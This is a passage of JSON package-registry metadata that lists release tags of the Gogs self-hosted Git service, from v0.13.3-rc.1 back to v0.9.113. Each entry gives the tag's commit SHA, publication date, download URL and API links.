itHub/repositories/gogs%2Fgogs/tags/v0.13.3-rc.1/manifests"},{"name":"v0.13.2","sha":"593c7b6db601c68d16b2fb9a7e1194cb816f5efb","kind":"commit","published_at":"2024-12-23T15:57:35.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2/manifests"},{"name":"v0.13.2-rc.1","sha":"593c7b6db601c68d16b2fb9a7e1194cb816f5efb","kind":"commit","published_at":"2024-12-23T15:57:35.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.2-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.2-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.2-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2-rc.1/manifests"},{"name":"v0.13.1","sha":"0c40e600a275d490481cfeea53705810fbe94d9b","kind":"commit","published_at":"2024-12-22T22:54:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1/manifests"},{"name":"v0.13.1-rc.1","sha":"0c40e600a275d490481cfeea53705810fbe94d9b","kind":"commit","published_at":"2024-12-22T22:54:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.1-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.1-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.1-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1-rc.1/manifests"},{"name":"v0.13.0-rc.1","sha":"8c21874c00b6100d46b662f65baeb40647442f42","kind":"commit","published_at":"2023-02-25T12:33:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.0-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0-rc.1/manifests"},{"name":"v0.13.0","sha":"8c21874c00b6100d46b662f65baeb40647442f42","kind":"commit","published_at":"2023-02-25T12:33:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0/manifests"},{"name":"v0.12.11-rc.1","sha":"c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b","kind":"commit","published_at":"2023-02-25T05:39:54.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.11-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.11-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.11-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11-rc.1/manifests"},{"name":"v0.12.11","sha":"c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b","kind":"commit","published_at":"2023-02-25T05:39:54.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11/manifests"},{"name":"v0.12.10","sha":"1ce5171ae170750298c150874e718740dd7ef69f","kind":"commit","published_at":"2022-08-02T03:01:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10/manifests"},{"name":"v0.12.10-rc.1","sha":"1ce5171ae170750298c150874e718740dd7ef69f","kind":"commit","published_at":"2022-08-02T03:01:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.10-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.10-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.10-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10-rc.1/manifests"},{"name":"v0.12.9","sha":"012a1ba19ed2f8f5185be4254f655ba6c4b34db2","kind":"commit","published_at":"2022-06-07T13:29:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9/manifests"},{"name":"v0.12.9-rc.1","sha":"012a1ba19ed2f8f5185be4254f655ba6c4b34db2","kind":"commit","published_at":"2022-06-07T13:29:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.9-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.9-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.9-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9-rc.1/manifests"},{"name":"v0.12.8","sha":"7f8799c01f264eb7770766621fb68debee414b68","kind":"commit","published_at":"2022-05-31T08:47:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8/manifests"},{"name":"v0.12.8-rc.1","sha":"7f8799c01f264eb7770766621fb68debee414b68","kind":"commit","published_at":"2022-05-31T08:47:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.8-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.8-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.8-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8-rc.1/manifests"},{"name":"v0.12.7","sha":"d06ba7e527fcc462aecdb660ce001e87d94f024c","kind":"commit","published_at":"2022-05-05T08:18:01.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.7","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7/manifests"},{"name":"v0.12.7-rc.1","sha":"d06ba7e527fcc462aecdb660ce001e87d94f024c","kind":"commit","published_at":"2022-05-05T08:18:01.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.7-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.7-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.7-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7-rc.1/manifests"},{"name":"v0.12.6","sha":"26395294bdef382b577fd60234e5bb14f4090cc8","kind":"commit","published_at":"2022-03-19T06:39:55.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.6","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6/manifests"},{"name":"v0.12.6-rc.1","sha":"26395294bdef382b577fd60234e5bb14f4090cc8","kind":"commit","published_at":"2022-03-19T06:39:55.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.6-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.6-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.6-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6-rc.1/manifests"},{"name":"v0.12.5","sha":"e309bc8324ca0799a320169747c2f11d56968631","kind":"commit","published_at":"2022-03-11T06:58:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5/manifests"},{"name":"v0.12.5-rc.1","sha":"e309bc8324ca0799a320169747c2f11d56968631","kind":"commit","published_at":"2022-03-11T06:58:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.5-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.5-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.5-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5-rc.1/manifests"},{"name":"v0.12.4","sha":"d4ae178b72d78abcb82494f3e43d7767c07ab679","kind":"commit","published_at":"2022-01-17T02:19:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4/manifests"},{"name":"v0.12.4-rc.1","sha":"d4ae178b72d78abcb82494f3e43d7767c07ab679","kind":"commit","published_at":"2022-01-17T02:19:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.4-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.4-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.4-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4-rc.1/manifests"},{"name":"v0.12.3","sha":"f0e3cd90f8d7695960eeef2e4e54b2e717302f6c","kind":"commit","published_at":"2020-10-07T14:39:36.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.3/manifests"},{"name":"v0.12.2","sha":"253b2bef4c26925d2fd0555aa8911cd21fb68b8c","kind":"commit","published_at":"2020-09-26T08:53:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.2/manifests"},{"name":"v0.12.1","sha":"43fc8260850090b55d4ee2586a819b3b6c016279","kind":"commit","published_at":"2020-08-27T06:47:41.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.1/manifests"},{"name":"v0.12.0","sha":"f17e7d5a2c36c52a1121d2315f3d75dcd8053b89","kind":"commit","published_at":"2020-08-22T09:55:16.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.0/manifests"},{"name":"v0.11.91","sha":"c154721f4a8f3e24d2f6fb61e74b4b64529255c2","kind":"commit","published_at":"2019-08-12T01:59:46.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.91","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.91/manifests"},{"name":"v0.11.86","sha":"06b6eaba060f8b874a4c2a8c84515b2ea45321d6","kind":"commit","published_at":"2019-01-31T02:59:10.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.86","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.86/manifests"},{"name":"v0.11.79","sha":"f43d21d0aff791780aaca5770e0bc92c39c803d3","kind":"commit","published_at":"2018-12-12T03:17:09.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.79","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.79","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.79","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.79/manifests"},{"name":"v0.11.66","sha":"3a4c981e3167875a3b60d0cee00ee85272608439","kind":"commit","published_at":"2018-09-16T15:53:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.66","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.66/manifests"},{"name":"v0.11.53","sha":"91441c3fb29d8ead645d8fffa4658d749d5b3fc3","kind":"commit","published_at":"2018-06-04T23:31:34.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.53","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.53/manifests"},{"name":"v0.11.43","sha":"2978bb1773a6511bf07678e2f1371dc413057bec","kind":"commit","published_at":"2018-03-31T03:26:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.43","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.43/manifests"},{"name":"v0.11.34","sha":"6f2347fc71f17b5703a9b1f383a2d3451f88b741","kind":"commit","published_at":"2017-11-22T19:46:14.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.34","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.34/manifests"},{"name":"v0.11.33","sha":"b752fe680811119954ccef051e6f3b3e2a04c2e8","kind":"commit","published_at":"2017-11-19T18:29:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.33","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.33/manifests"},{"name":"v0.11.29","sha":"b1100b5e345a8a6f5e3f3dfd19e18c9cc8b499e8","kind":"commit","published_at":"2017-08-15T22:20:28.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.29","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.29/manifests"},{"name":"v0.11.19","sha":"6197a7639a88f7fb0fee8927e1d501504ae770ff","kind":"commit","published_at":"2017-06-10T05:43:18.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.19","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.19/manifests"},{"name":"v0.11.4","sha":"e0a787b5ee077498abf0f8ea78395aec16b90c71","kind":"commit","published_at":"2017-04-05T17:26:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.4/manifests"},{"name":"v0.11","sha":"348c75c91b95ce7fb0f6dac263aa7290f2319e1b","kind":"commit","published_at":"2017-04-04T00:06:15.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11/manifests"},{"name":"v0.11rc","sha":"375f1b1fdea51e55bb0c381c791c5757e1517042","kind":"commit","published_at":"2017-03-27T18:56:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11rc","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11rc/manifests"},{"name":"v0.10.18","sha":"f54bcba3394bf856b77b674203ea0c80b926cd61","kind":"commit","published_at":"2017-03-14T03:41:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.18","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.18/manifests"},{"name":"v0.10.8","sha":"bb005f3f9a606a5e94da4fc274d3c21234d98090","kind":"commit","published_at":"2017-03-07T19:12:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.8/manifests"},{"name":"v0.10.1","sha":"9d40b8a83cc3a13ec0859ad253de02c514e4403d","kind":"commit","published_at":"2017-02-28T10:45:50.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.1/manifests"},{"name":"v0.10","sha":"b3757e424ffc47f7ae07d8fecd9f2ecf98f20679","kind":"commit","published_at":"2017-02-27T23:38:16.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10/manifests"},{"name":"v0.10rc","sha":"437df04d8c8de62e3c75c38d34d305c3dea5bafe","kind":"commit","published_at":"2017-02-21T17:17:39.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10rc","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10rc/manifests"},{"name":"v0.9.141","sha":"23f2efa8c1e21957f950424bfdbdc684ba64b56f","kind":"commit","published_at":"2017-02-11T08:59:25.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.141","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.141","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.141","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.141","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.141/manifests"},{"name":"v0.9.128","sha":"412ba5b2a97ec224f6cf6b78ceba711c8dda3835","kind":"commit","published_at":"2017-01-31T12:36:59.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.128","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.128","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.128","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.128","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.128/manifests"},{"name":"v0.9.113","sha":"114c179e5a50e3313f7a5894100693805e64e440","kind":"commit","published_at":"2016-12-24T02:53:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.113","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.113","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.113","tag_url":"https://repos.ecosyste.ms/api/